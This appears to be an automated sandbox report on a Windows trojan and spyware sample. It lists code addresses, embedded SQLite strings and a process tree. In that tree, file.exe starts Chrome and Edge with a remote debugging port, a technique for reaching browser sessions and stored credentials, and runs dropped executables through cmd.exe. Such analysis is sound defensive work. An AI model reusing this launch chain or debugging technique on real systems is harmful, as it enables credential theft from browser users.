Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF09A0	1_2_6CFF09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF98960	1_2_6CF98960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0668E0	1_2_6D0668E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB6900	1_2_6CFB6900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFDEA80	1_2_6CFDEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFDCA70	1_2_6CFDCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D000BA0	1_2_6D000BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D066BE0	1_2_6D066BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D00EA00	1_2_6D00EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D018A30	1_2_6D018A30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFA64D0	1_2_6CFA64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFA4D0	1_2_6CFFA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D064540	1_2_6D064540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A8550	1_2_6D0A8550
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D000570	1_2_6D000570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF78460	1_2_6CF78460
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFEA430	1_2_6CFEA430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC4420	1_2_6CFC4420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02A5E0	1_2_6D02A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFEE5F0	1_2_6CFEE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF545B0	1_2_6CF545B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D08A480	1_2_6D08A480
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC2560	1_2_6CFC2560
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB8540	1_2_6CFB8540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBE6E0	1_2_6CFBE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFE6E0	1_2_6CFFE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF846D0	1_2_6CF846D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBC650	1_2_6CFBC650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF8A7D0	1_2_6CF8A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFE0700	1_2_6CFE0700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D044130	1_2_6D044130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF700B0	1_2_6CF700B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF58090	1_2_6CF58090
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFAE070	1_2_6CFAE070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02C000	1_2_6D02C000
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D028010	1_2_6D028010
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF601E0	1_2_6CF601E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03C0B0	1_2_6D03C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC8140	1_2_6CFC8140
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFD6130	1_2_6CFD6130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D07C360	1_2_6D07C360
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A2370	1_2_6D0A2370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFE8260	1_2_6CFE8260
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF8250	1_2_6CFF8250
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02A210	1_2_6D02A210
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB43E0	1_2_6CFB43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D038220	1_2_6D038220
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBE3B0	1_2_6CFBE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF923A0	1_2_6CF923A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF62370	1_2_6CF62370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF6370	1_2_6CFF6370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0322A0	1_2_6D0322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D02E2B0	1_2_6D02E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF68340	1_2_6CF68340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E62C0	1_2_6D0E62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFD2320	1_2_6CFD2320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFFC80	1_2_6CFFFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A9D90	1_2_6D0A9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF63C40	1_2_6CF63C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D031DC0	1_2_6D031DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF71C30	1_2_6CF71C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D089C40	1_2_6D089C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF53D80	1_2_6CF53D80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D09DCD0	1_2_6D09DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D021CE0	1_2_6D021CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC3D00	1_2_6CFC3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0B7F20	1_2_6D0B7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF83EC0	1_2_6CF83EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D07DFC0	1_2_6D07DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E3FC0	1_2_6D0E3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D00BFF0	1_2_6D00BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D06DE10	1_2_6D06DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF81F90	1_2_6CF81F90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E5E60	1_2_6D0E5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0BBE70	1_2_6D0BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF55F30	1_2_6CF55F30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF95F20	1_2_6CF95F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0AF900	1_2_6D0AF900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF6D8E0	1_2_6CF6D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF938E0	1_2_6CF938E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D015920	1_2_6D015920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFF8C0	1_2_6CFFF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D01D960	1_2_6D01D960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D031990	1_2_6D031990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFBD810	1_2_6CFBD810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC59F0	1_2_6CFC59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF79F0	1_2_6CFF79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF999D0	1_2_6CF999D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF99C0	1_2_6CFF99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF71980	1_2_6CF71980
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFDF960	1_2_6CFDF960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03F8F0	1_2_6D03F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0BB8F0	1_2_6D0BB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF61AE0	1_2_6CF61AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03FB60	1_2_6D03FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D045B90	1_2_6D045B90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D029BB0	1_2_6D029BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF9FA10	1_2_6CF9FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFA7BF0	1_2_6CFA7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D001A10	1_2_6D001A10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D05DA30	1_2_6D05DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB9BA0	1_2_6CFB9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E9A50	1_2_6D0E9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF51B80	1_2_6CF51B80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03DAB0	1_2_6D03DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFABB20	1_2_6CFABB20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF614E0	1_2_6CF614E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0AF510	1_2_6D0AF510
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFED410	1_2_6CFED410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFE55F0	1_2_6CFE55F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D049430	1_2_6D049430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF99590	1_2_6CF99590
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0E14A0	1_2_6D0E14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF75510	1_2_6CF75510
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC7500	1_2_6CFC7500
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D039720	1_2_6D039720
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF916A0	1_2_6CF916A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC96A0	1_2_6CFC96A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF79650	1_2_6CF79650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFB5640	1_2_6CFB5640
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A37C0	1_2_6D0A37C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFD7610	1_2_6CFD7610
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF89600	1_2_6CF89600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFEB7A0	1_2_6CFEB7A0
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_00378860	29_2_00378860
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_00377049	29_2_00377049
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_003778BB	29_2_003778BB
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_003731A8	29_2_003731A8
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_00334B30	29_2_00334B30
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_00372D10	29_2_00372D10
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_00334DE0	29_2_00334DE0
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_00367F36	29_2_00367F36
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: 29_2_0037779B	29_2_0037779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003D8860	30_2_003D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003D7049	30_2_003D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003D78BB	30_2_003D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003D31A8	30_2_003D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_00394B30	30_2_00394B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003D2D10	30_2_003D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_00394DE0	30_2_00394DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003C7F36	30_2_003C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 30_2_003D779B	30_2_003D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_0039E530	34_2_0039E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003B6192	34_2_003B6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003D8860	34_2_003D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00394B30	34_2_00394B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003D2D10	34_2_003D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00394DE0	34_2_00394DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003B0E13	34_2_003B0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003D7049	34_2_003D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003D31A8	34_2_003D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003B1602	34_2_003B1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003D779B	34_2_003D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003D78BB	34_2_003D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003B3DF1	34_2_003B3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003C7F36	34_2_003C7F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 003AD663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 003AD942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 003C8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 003ADF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 003A80C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 003A7A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 003AD64E appears 66 times
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Code function: String function: 003480C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0ED930 appears 65 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0E09D0 appears 335 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF89B10 appears 109 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF83620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CFBC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0EDAE0 appears 81 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D099F30 appears 52 times

Source: file.exe, 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.1758666430.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: uogkavog ZLIB complexity 0.9948576179135687

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@89/321@29/30

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFC0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

1_2_6CFC0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\B1YNIE66.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\exploma.exe.exe	Mutant created: \Sessions\1\BaseNamedObjects\aUkJ+dUJw
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8852:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\5a89d4c0-279b-4590-b3c0-20ef91dc60cc.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000001.00000003.1539334823.000000001DD0B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1451860620.000000001DD09000.00000004.00000020.00020000.00000000.sdmp, KKFBFCAFCBKFIEBFHIDB.1.dr, HIIIJDAAAAAAKECBFBAE.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.1757688104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsGDBFCGIIIJ.exe	String found in binary or memory: '. Please, re-install this application
Source: skotes.exe	String found in binary or memory: '. Please, re-install this application
Source: skotes.exe	String found in binary or memory: '. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2220,i,8398956944613471196,4517818318250730757,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2240,i,9997244050873834229,8109525789655161871,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6656 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6804 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGDBFCGIIIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGDBFCGIIIJ.exe "C:\Users\user\DocumentsGDBFCGIIIJ.exe"
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
